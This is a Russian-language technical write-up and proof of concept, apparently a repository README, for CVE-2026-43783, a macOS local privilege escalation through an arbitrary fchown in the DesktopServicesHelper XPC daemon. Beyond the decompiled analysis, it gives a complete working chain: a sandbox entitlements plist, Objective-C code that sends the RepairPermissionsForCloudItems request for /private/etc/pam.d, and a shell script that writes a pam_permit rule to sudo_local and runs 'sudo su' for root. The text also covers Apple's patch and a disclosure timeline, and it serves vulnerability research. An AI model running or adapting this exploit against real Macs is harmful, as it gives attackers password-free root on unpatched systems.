andrd3v/cve-2026-43783Proof-of-concept и технический разбор CVE-2026-43783 — локальное повышение привилегий в macOS через произвольный chown в XPC DesktopServicesHelper для получения root.
Демон, который Finder использует для «восстановления» прав доступа к файлам iCloud, оказался готов восстанавливать права доступа к чему угодно — включая системные каталоги. В этой статье мы рассмотрим, как DesktopServicesHelper работает изнутри и почему одного XPC-запроса было достаточно для получения root.
Я искал цели с com.apple.private.tcc.allow со значением kTCCServiceSystemPolicyAllFiles, и DesktopServicesHelper привлёк моё внимание. DesktopServicesHelper находится по пути /System/Library/PrivateFrameworks/DesktopServicesPriv.framework/Versions/A/Resources/DesktopServicesHelper, и Finder использует его для файловых операций, требующих повышенных привилегий: перемещение файлов, установка прав доступа, работа с Корзиной.
Загрузил бинарник в IDA и перешёл к start(). После обычной настройки таймеров и очередей он создаёт XPC-листенер — точку входа демона. Листенер регистрирует mach-сервис под определённым именем и начинает прослушивать входящие соединения. Любой процесс, знающий это имя, может подключиться и отправить запрос. Вот ключевая часть:```c
// get the service name
v16 = (const char *)sub_1000709F4(a1: 0);
// register the listener mach_service = xpc_connection_create_mach_service(name: v16, targetq: nullptr, flags: 1u);
// set the incoming event handler xpc_connection_set_event_handler(connection: mach_service, handler: &stru_1000B4B48); xpc_connection_resume(connection: mach_service);
// start the event loop CFRunLoopRun();
Функция `sub_1000709F4` возвращает имя mach-сервиса. В `start()` она вызывается с аргументом 0, что означает, что демон регистрируется под именем `com.apple.DesktopServicesHelper`.```c
const char *__fastcall sub_1000709F4(int a1)
{
if ( a1 != 0 )
return "com.apple.DesktopServicesScriptingHelper";
else
return "com.apple.DesktopServicesHelper";
}
stru_1000B4B48 — это блок-обработчик (callback), который демон вызывает для каждого входящего события. XPC основан на сообщениях: клиент формирует словарь с ключами и значениями, отправляет его демону, а демон разбирает содержимое и решает, что делать. Все входящие события попадают в этот обработчик. Давайте заглянем внутрь.
Функция вызова блока — sub_100032044. При новом соединении демон сначала получает euid и egid клиента — эффективный идентификатор пользователя и идентификатор группы — идентификаторы пользователя и группы, от имени которых выполняется подключающийся процесс:```c
euid = xpc_connection_get_euid(connection: v8);
egid = xpc_connection_get_egid(connection: v8);
sub_100071268(a1: euid, a2: egid);
Затем он назначает обработчик для входящих сообщений на соединении:```c
v15[2] = sub_10003AB2C; // block's invoke function
xpc_connection_set_event_handler(connection: v14, handler: v15);
xpc_connection_resume(connection: v14);
sub_10003AB2C — сюда приходят фактические XPC-запросы от клиента. Теперь нам нужно понять, как демон решает, какие запросы выполнять, а какие отклонять.
sub_10003AB2C — это главный диспетчер. Здесь демон решает, что делать с запросом. Функция большая, поэтому давайте разберём её по частям.
Сначала она извлекает строку "request" из сообщения — имя команды, которую хочет выполнить клиент:```c
reply = xpc_dictionary_create_reply(original: v12);
string = xpc_dictionary_get_string(xdict: v12, key: "request");
// ...
// logging: "Got Request '%{public}@'"
Затем демон извлекает аудиторский токен подключающегося процесса и проверяет, запущен ли он внутри App Sandbox. App Sandbox — это механизм изоляции приложений macOS, который ограничивает доступ к файловой системе, сети и другим ресурсам. Здесь происходит ветвление:```c
xpc_dictionary_get_audit_token(a1: v12, a2: buf);
qmemcpy(__p, buf, sizeof(__p));
if ( (unsigned int)sandbox_check_by_audit_token(a1: __p, a2: 0, a3: 0) != 0 )
{
// client is sandboxed - check against allowlist
if ( (sub_10003B25C(a1: &v32, a2: "Handshake") & 1) == 0
&& (sub_10003B25C(a1: &v32, a2: "exit") & 1) == 0
&& (sub_10003B25C(a1: &v32, a2: "SetDefaultPermissionOnHomeSubdirectories") & 1) == 0
&& (sub_10003B25C(a1: &v32, a2: "MoveAsideICloudToArchiveInHome") & 1) == 0
&& (sub_10003B25C(a1: &v32, a2: "RepairPermissionsForCloudItems") & 1) == 0
&& (sub_10003B25C(a1: &v32, a2: "CopyClientActive") & 1) == 0
&& (sub_10003B25C(a1: &v32, a2: "DeleteItem") & 1) == 0 )
{
sub_100034250(a1: v12, a2: &v32); // not in the list - kill the daemon
}
}
else
{
// client is not sandboxed - check entitlement
*(_QWORD *)buf = sub_1000343C0(a1: v12, a2: CFSTR("com.apple.private.tcc.allow"));
v19 = (const __CFArray *)sub_10003B1E0();
v20 = v19;
if ( v19 == nullptr
|| (v35.length = CFArrayGetCount(theArray: v19),
v35.location = 0,
CFArrayContainsValue(theArray: v20, range: v35, value: CFSTR("kTCCServiceSystemPolicyAllFiles")) == 0) )
{
sub_100034250(a1: v12, a2: &v32); // no entitlement - kill the daemon
}
}
Если клиент находится в песочнице — имя запроса проверяется по списку разрешённых из семи строк. Если оно совпадает — проверка проходит, и запрос выполняется. Если нет — sub_100034250 убивает демон.
Если клиент не находится в песочнице — демон проверяет наличие entitlement com.apple.private.tcc.allow со значением kTCCServiceSystemPolicyAllFiles. Отсутствие entitlement также означает смерть.
После прохождения проверки запрос проходит через две таблицы обработчиков. Сначала sub_10002F7C8, затем sub_10002A194:```c
// first table (8 commands, two arguments)
v21 = sub_10002F7C8(a1: buf);
// ...
if ( v21 != 0 )
v22(a1: v12, a2: v11); // found - invoke
// second table (21 commands, three arguments) v27 = sub_10002A194(a1: buf); // ... if ( v27 != nullptr ) v27(a1: v12, a2: reply, a3: v11); // found - invoke
Теперь давайте рассмотрим таблицы обработчиков. Первая таблица (`sub_10002F7C8`):```c
__int64 __fastcall sub_10002F7C8(__int64 a1)
{
__int64 result; // x0
void **v3; // x21
void **v4; // x8
_BYTE v5[32]; // [xsp+8h] [xbp-128h] BYREF
__int64 v6; // [xsp+28h] [xbp-108h] BYREF
__int64 v7; // [xsp+48h] [xbp-E8h] BYREF
__int64 v8; // [xsp+68h] [xbp-C8h] BYREF
__int64 v9; // [xsp+88h] [xbp-A8h] BYREF
__int64 v10; // [xsp+A8h] [xbp-88h] BYREF
__int64 v11; // [xsp+C8h] [xbp-68h] BYREF
__int64 v12; // [xsp+E8h] [xbp-48h] BYREF
__int64 v13; // [xsp+108h] [xbp-28h] BYREF
if ( (atomic_load_explicit((atomic_uchar *volatile)&qword_1000BD8C8, memory_order_acquire) & 1) == 0
&& __cxa_guard_acquire(a1: &qword_1000BD8C8) != 0 )
{
sub_10002AA78(a1: (int)v5, __s: "OperationSizing");
sub_10002AA78(a1: (int)&v6, __s: "SetChildPermissions");
sub_10002AA78(a1: (int)&v7, __s: "RunTrashOperation");
sub_10002AA78(a1: (int)&v8, __s: "ChildCreateLock");
sub_10002AA78(a1: (int)&v9, __s: "RunSetRootMetadata");
sub_10002AA78(a1: (int)&v10, __s: "RunCopyMoveOperation");
sub_10002AA78(a1: (int)&v11, __s: "DeleteBackup");
sub_10002AA78(a1: (int)&v12, __s: "DeleteItem");
sub_10003BDDC(a1: &unk_1000BD8A0, a2: v5, a3: 8);
v3 = (void **)&v13;
do
{
v4 = v3;
v3 -= 4;
if ( *((char *)v4 - 9) < 0 )
operator delete(__p: *v3);
}
while ( v3 != (void **)v5 );
__cxa_guard_release(a1: &qword_1000BD8C8);
}
result = sub_10003BCF0(a1: &unk_1000BD8A0, a2: a1);
if ( result != 0 )
return *(_QWORD *)(result + 40);
return result;
}
Здесь нет ничего интересного. Восемь обработчиков (OperationSizing, SetChildPermissions, ...), все защищены проверками прав.
Но есть вторая таблица — v27 = sub_10002A194(a1: buf):```c
__int64 __fastcall sub_10002A194(__int64 a1)
{
__int64 result; // x0
void **v3; // x21
void **v4; // x8
_BYTE v5[32]; // [xsp+8h] [xbp-2C8h] BYREF
__int64 v6; // [xsp+28h] [xbp-2A8h] BYREF
__int64 v7; // [xsp+48h] [xbp-288h] BYREF
__int64 v8; // [xsp+68h] [xbp-268h] BYREF
__int64 v9; // [xsp+88h] [xbp-248h] BYREF
__int64 v10; // [xsp+A8h] [xbp-228h] BYREF
__int64 v11; // [xsp+C8h] [xbp-208h] BYREF
__int64 v12; // [xsp+E8h] [xbp-1E8h] BYREF
__int64 v13; // [xsp+108h] [xbp-1C8h] BYREF
__int64 v14; // [xsp+128h] [xbp-1A8h] BYREF
__int64 v15; // [xsp+148h] [xbp-188h] BYREF
__int64 v16; // [xsp+168h] [xbp-168h] BYREF
__int64 v17; // [xsp+188h] [xbp-148h] BYREF
__int64 v18; // [xsp+1A8h] [xbp-128h] BYREF
__int64 v19; // [xsp+1C8h] [xbp-108h] BYREF
__int64 v20; // [xsp+1E8h] [xbp-E8h] BYREF
__int64 v21; // [xsp+208h] [xbp-C8h] BYREF
__int64 v22; // [xsp+228h] [xbp-A8h] BYREF
__int64 v23; // [xsp+248h] [xbp-88h] BYREF
__int64 v24; // [xsp+268h] [xbp-68h] BYREF
__int64 v25; // [xsp+288h] [xbp-48h] BYREF
__int64 v26; // [xsp+2A8h] [xbp-28h] BYREF
if ( (atomic_load_explicit((atomic_uchar *volatile)&qword_1000BD898, memory_order_acquire) & 1) == 0 && __cxa_guard_acquire(a1: &qword_1000BD898) != 0 ) { sub_10002AA78(a1: (int)v5, __s: "Handshake"); sub_10002AA78(a1: (int)&v6, __s: "MoveAndRename"); sub_10002AA78(a1: (int)&v7, __s: "SetDefaultPermissionOnHomeSubdirectories"); sub_10002AA78(a1: (int)&v8, __s: "MoveAsideICloudToArchiveInHome"); sub_10002AA78(a1: (int)&v9, __s: "RepairPermissionsForCloudItems"); sub_10002AA78(a1: (int)&v10, __s: "CheckPermissionsForCloudItem"); sub_10002AA78(a1: (int)&v11, __s: "AbortResumableCopy"); sub_10002AA78(a1: (int)&v12, __s: "SetLabel"); sub_10002AA78(a1: (int)&v13, __s: "SetAppCategories"); sub_10002AA78(a1: (int)&v14, __s: "CreateIconFile"); sub_10002AA78(a1: (int)&v15, __s: "RemoveIconFile"); sub_10002AA78(a1: (int)&v16, __s: "RepairTrash"); sub_10002AA78(a1: (int)&v17, __s: "Rename"); sub_10002AA78(a1: (int)&v18, __s: "CreateFolder"); sub_10002AA78(a1: (int)&v19, __s: "CreateAlias"); sub_10002AA78(a1: (int)&v20, __s: "RemoveTrashItemsOlderThanDate"); sub_10002AA78(a1: (int)&v21, __s: "SetTags"); sub_10002AA78(a1: (int)&v22, __s: "cancel"); sub_10002AA78(a1: (int)&v23, __s: "pause"); sub_10002AA78(a1: (int)&v24, __s: "resume"); sub_10002AA78(a1: (int)&v25, __s: "exit"); sub_10003B360(a1: &unk_1000BD870, a2: v5, a3: 21); v3 = (void **)&v26; do { v4 = v3; v3 -= 4; if ( *((char *)v4 - 9) < 0 ) operator delete(__p: *v3); } while ( v3 != (void **)v5 ); __cxa_guard_release(a1: &qword_1000BD898); } result = sub_10003BCF0(a1: &unk_1000BD870, a2: a1); if ( result != 0 ) return *(_QWORD *)(result + 40); return result; }
Это даёт нам 21 обработчик. Диспетчер работает как каскад: сначала он ищет имя запроса в первой таблице (`sub_10002F7C8`, 8 команд) — это операции «выстрелил и забыл», которые принимают XPC-соединение и пира (клиентский объект), но не возвращают ответ. Если не найдено — он ищет во второй таблице (`sub_10002A194`, 21 команда) — это операции с ответом, которые дополнительно получают reply (объект для отправки результата обратно клиенту).
Почти все команды либо не делают ничего интересного, либо закрыты проверками прав (entitlement). Но есть одна открытая — `RepairPermissionsForCloudItems`. Давайте найдём её обработчик. В ассемблере видно, что `sub_10002AA78` принимает указатель на функцию в качестве третьего аргумента:```asm
__text:000000010002A2AC MOV X2, X16
__text:000000010002A2B0 MOV X0, X20 ; int
__text:000000010002A2B4 BL sub_10002AA78
__text:000000010002A2B8 ADD X21, SP, #0x2D0+var_2C8
__text:000000010002A2BC ADD X20, X21, #0x80
__text:000000010002A2C0 ADRL X1, aRepairpermissi ; "RepairPermissionsForCloudItems"
__text:000000010002A2C8 ADRL X16, sub_10002D744
__text:000000010002A2D0 PACIZA X16
RepairPermissionsForCloudItems -> sub_10002D744. Мы нашли единственный обработчик, доступный из песочницы без дополнительных прав. Теперь давайте посмотрим, что он на самом деле делает с полученными данными.
Обработчик sub_10002D744 делает три вещи. Во-первых, он извлекает ключ "Paths" из XPC-сообщения и десериализует его через NSKeyedUnarchiver в массив строк:```c
v8 = objc_claimAutoreleasedReturnValue((id)sub_100028810(a1: v5, a2: "Paths"));
v9 = objc_claimAutoreleasedReturnValue(
+[NSKeyedUnarchiver unarchivedArrayOfObjectsOfClass:fromData:error:](
&OBJC_CLASS___NSKeyedUnarchiver,
"unarchivedArrayOfObjectsOfClass:fromData:error:",
objc_opt_class(a1: &OBJC_CLASS___NSString),
v8,
&v25));
Затем он передаёт каждый путь в `sub_100029CE4` через `sub_100034B5C`, чтобы определить, требуется ли «восстановление». Для путей, требующих восстановления, он вызывает `sub_10002A11C`:```c
sub_100034B5C(a1: v22, a2: v24, a3: sub_100029CE4);
if ( v22[0] != v22[1] )
sub_10002A11C(a1: v5, a2: v22);
Проверка пути отсутствует: обрабатывается всё, что передано. Функция sub_100029CE4 проверяет, требуется ли «восстановление». Вот ключевая логика:```c
v3 = lstat(a1: v2, a2: &v28);
// ...
if ( (v28.st_mode & 0xF000) != 0x4000 && v28.st_nlink > 1u )
return false; // not a directory + hardlinks > 1 - skip
v6 = sub_100071288(a1: v4); // get caller's UID
if ( v28.st_uid != v6 )
return true; // owner doesn't match - repair needed
Логика проверки:```
lstat(path)
|
+- not a directory && hardlinks > 1 ?
| +- yes -> false (skip)
|
+- st_uid == our UID ?
| +- yes -> false (owner matches, no repair needed)
| +- no -> true (repair needed)
|
+- directory ?
+- yes -> recurse into contents
Для путей, требующих восстановления, вызывается sub_10002A11C — простой цикл, который перебирает результаты и вызывает sub_100029440 для каждого из них. Вот ключевая логика sub_100029440:```c
fd = open(path, 0x200000);
fstat(fd, &st);
// only check: not a directory + hardlinks >= 2 - skip if ( (st.st_mode & 0xF000) != 0x4000 && st.st_nlink >= 2u ) return close(fd);
// get caller's UID (ours - 501) caller_uid = sub_100071288();
// owner doesn't match - change to ours if ( st.st_uid != caller_uid ) fchown(fd, caller_uid, st.st_gid);
close(fd);
// if directory - recursively call itself for each item if ( (st.st_mode & 0xF000) == 0x4000 ) sub_100029440(child_path);
Вот и всё. Демон вызывает `fchown` для любого указанного пути, не проверяя, находится ли он в `~/Library/Mobile Documents/` или в каком-либо контейнере iCloud. И если путь является каталогом, функция рекурсивно обходит всё его содержимое и вызывает `fchown` для каждого элемента.
Перечитайте это ещё раз. Дайте этому уложиться в голове. Передайте любой каталог — и вы владеете всем его содержимым.
## Итог
Полная цепочка от XPC-запроса до `fchown`:```
Sandboxed app
|
+- xpc_connection_create_mach_service("com.apple.DesktopServicesHelper")
|
+- xpc_dictionary: "request" = "RepairPermissionsForCloudItems"
| "Paths" = ["/private/etc/pam.d"]
|
+- send --> DesktopServicesHelper (root)
|
+- sandbox_check: client sandboxed? -> yes
+- allowlist: RepairPermissionsForCloudItems? -> yes, pass through
+- NSKeyedUnarchiver: extract paths
+- lstat: st_uid != caller_uid? -> yes, repair needed
+- fchown(path, 501, gid) <- arbitrary path, no validation
Один XPC-запрос — и любой файл или каталог наш.
Итак, у нас есть произвольный chown для любого пути на диске. Теперь нам просто нужно превратить это в root.
В macOS аутентификация проходит через PAM. Конфигурации находятся в /private/etc/pam.d/ — по одному файлу на программу, которая проверяет пароли: sudo, login, su и т. д. Каталог принадлежит root:wheel. Значит, мы можем завладеть им с помощью нашего chown. После этого мы можем свободно создать файл /private/etc/pam.d/sudo_local с одной строкой:```
auth sufficient pam_permit.so
`pam_permit.so` — это модуль PAM, который всегда возвращает успех. `sudo` проверяет `sudo_local` перед основным конфигом. Результат: `sudo` больше не запрашивает пароль.
Но есть загвоздка. Нельзя просто подключиться к `com.apple.DesktopServicesHelper` из песочницы: песочница по умолчанию блокирует mach-lookup к этому сервису. Но сам демон проверяет, что вызывающий процесс находится в песочнице — и только тогда пропускает `RepairPermissionsForCloudItems` без проверки прав. Ирония: песочница здесь не защита — это пропуск.
Чтобы обойти блокировку mach-lookup песочницей, нам нужен entitlement `com.apple.security.temporary-exception.mach-lookup.global-name`. Вот минимальный набор entitlement'ов для PoC-приложения:```xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>com.apple.security.app-sandbox</key>
<true/>
<key>com.apple.security.temporary-exception.mach-lookup.global-name</key>
<array>
<string>com.apple.DesktopServicesHelper</string>
</array>
</dict>
</plist>
Два entitlement.
com.apple.security.app-sandbox — включает песочницу (без него демону потребовался бы TCC entitlement, и он отклонил бы нас).
com.apple.security.temporary-exception.mach-lookup.global-name — entitlement-исключение для песочницы.
Песочница не разрешает подключения ко всем mach-сервисам, а com.apple.DesktopServicesHelper отсутствует в списке разрешённых. Этот ключ добавляет исключение для конкретного сервиса. Это всё, что нам нужно. Код идёт прямо в ViewController.m. Ключевой метод — chownPath:, который подключается к демону и отправляет запрос:```objc
(void)chownPath:(NSString *)path { xpc_connection_t conn = xpc_connection_create_mach_service( "com.apple.DesktopServicesHelper", NULL, 0); if (!conn) return;
xpc_connection_set_event_handler(conn, ^(xpc_object_t event) {}); xpc_connection_resume(conn);
NSData *archived = [NSKeyedArchiver archivedDataWithRootObject:@[ path ] requiringSecureCoding:YES error:nil];
xpc_object_t msg = xpc_dictionary_create(NULL, NULL, 0); xpc_dictionary_set_string(msg, "request", "RepairPermissionsForCloudItems"); xpc_dictionary_set_data(msg, "Paths", archived.bytes, archived.length);
xpc_connection_send_message_with_reply_sync(conn, msg); }
Мы подключаемся к `com.apple.DesktopServicesHelper`, архивируем путь в `NSArray` через `NSKeyedArchiver` (как ожидает демон), формируем XPC-словарь с ключом `"request"` = `"RepairPermissionsForCloudItems"` и отправляем его.
При запуске приложения мы вызываем `chownPath:` для `/private/etc/pam.d` и проверяем результат:```objc
- (void)runExploit
{
[self chownPath:@"/private/etc/pam.d"];
usleep(200000);
struct stat st;
if (lstat("/private/etc/pam.d", &st) != 0) return;
if (st.st_uid == getuid())
NSLog(@"ok");
}
200 мс ожидания, затем lstat — если владелец изменился на наш UID, значит chown выполнился успешно.
Теперь соберём всё вместе. Shell-скрипт запускает PoC-приложение, ждёт, пока демон выполнит свою работу, проверяет, что chown прошёл успешно, записывает правило PAM и получает root:```sh
#!/bin/sh
set -e
PAM_DIR="/private/etc/pam.d" SUDO_LOCAL="$PAM_DIR/sudo_local"
./poc.app/Contents/MacOS/poc & POC_PID=$! sleep 4 kill $POC_PID 2>/dev/null || true wait $POC_PID 2>/dev/null || true
if [ "$(stat -f %u "$PAM_DIR")" != "$(id -u)" ]; then echo "chown failed" exit 1 fi
echo 'auth sufficient pam_permit.so' > "$SUDO_LOCAL" chmod 644 "$SUDO_LOCAL"
sudo id sudo su
## Патч Apple
Apple добавила проверку прав доступа (entitlement) в самом начале обработчика `RepairPermissionsForCloudItems`:```c
if ( (sub_100034110(a1: v5,
a2: CFSTR("com.apple.private.desktopservices.cloud-repair-perm")) & 1) == 0 )
{
sub_100034250(a1: v5, a2: v22); // no entitlement - kill the daemon
}
Теперь только процессы с приватным entitlement com.apple.private.desktopservices.cloud-repair-perm могут вызывать RepairPermissionsForCloudItems. Без него — sub_100034250 убивает демон. Остальная логика функции остаётся без изменений.
| Дата | Событие |
|---|---|
| 05/09/2026 | Отчёт отправлен в Apple Product Security |
| 05/11/2026 | Apple перевела отчёт на рассмотрение |
Спасибо за чтение, удачного баг-хантинга!
| 05/13/2026 | Apple воспроизвела баг, запланировала исправление на осень |
| 05/26/2026 | Патч в macOS 26.6 beta 1 |
| 08/11/2026 | Присвоен CVE-2026-43783 |